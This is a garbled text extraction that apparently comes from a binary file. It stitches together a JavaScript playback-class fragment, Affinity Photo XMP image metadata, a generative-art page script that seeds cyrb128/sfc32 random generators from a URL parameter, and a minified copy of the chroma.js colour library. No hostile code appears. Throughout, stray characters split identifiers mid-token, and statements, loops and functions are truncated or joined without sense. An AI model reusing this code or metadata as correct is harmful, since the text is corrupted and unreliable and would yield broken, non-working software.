,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 5.5.0">
 <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:exif="http://ns.adobe.com/exif/1.0/"
    xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
    xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
    xmlns:xmp="http://ns.adobe.com/xap/1.0/M
    xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
    xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
   exif:ColorSpace="1"
   exif:PixelXDimension="360"
   exif:PixelYDimension="360"
   photoshop:ColorMode="3"
   photoshop:ICCProfile="sRGB IEC61966-2.1"
   tiff:ImageLength="360"
   tiff:ImageWidth="360"
   tiff:ResolutionUnit="2"
   tiff:XResolution="72/1"
   tiff:YResolution="72/1"
   xmp:MetadataDate="2023-02-15T01:17:15+01:00"
   xmp:ModifyDate="2023-02-15T01:17:15+01:00">
     <rdf:li xml:lang="x-default">BOODYYY </rdf:li>
      xmpMM:action="produced"
      xmpMM:softwareAgent="Affinity Photo 1.10.5"
      xmpMM:when="2023-02-11T22:31:19+01:00"/>
      xmpMM:action="produced"
      xmpMM:softwareAgent="Affinity Photo 1.10.5"
      xmpMM:when="2023-02-12T20:26:37+01:00"/>
      xmpMM:action="produced"
      xmpMM:softwareAgent="Affinity Photo 1.10.5"
      xmpMM:when="2023-0M
2-13T21:06:00+01:00"/>
      stEvt:action="produced"
      stEvt:softwareAgent="Affinity Photo 1.10.5"
      stEvt:when="2023-02-15T01:17:15+01:00"/>
  </rdf:Description>
iCCPsRGB IEC61966-2.1
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
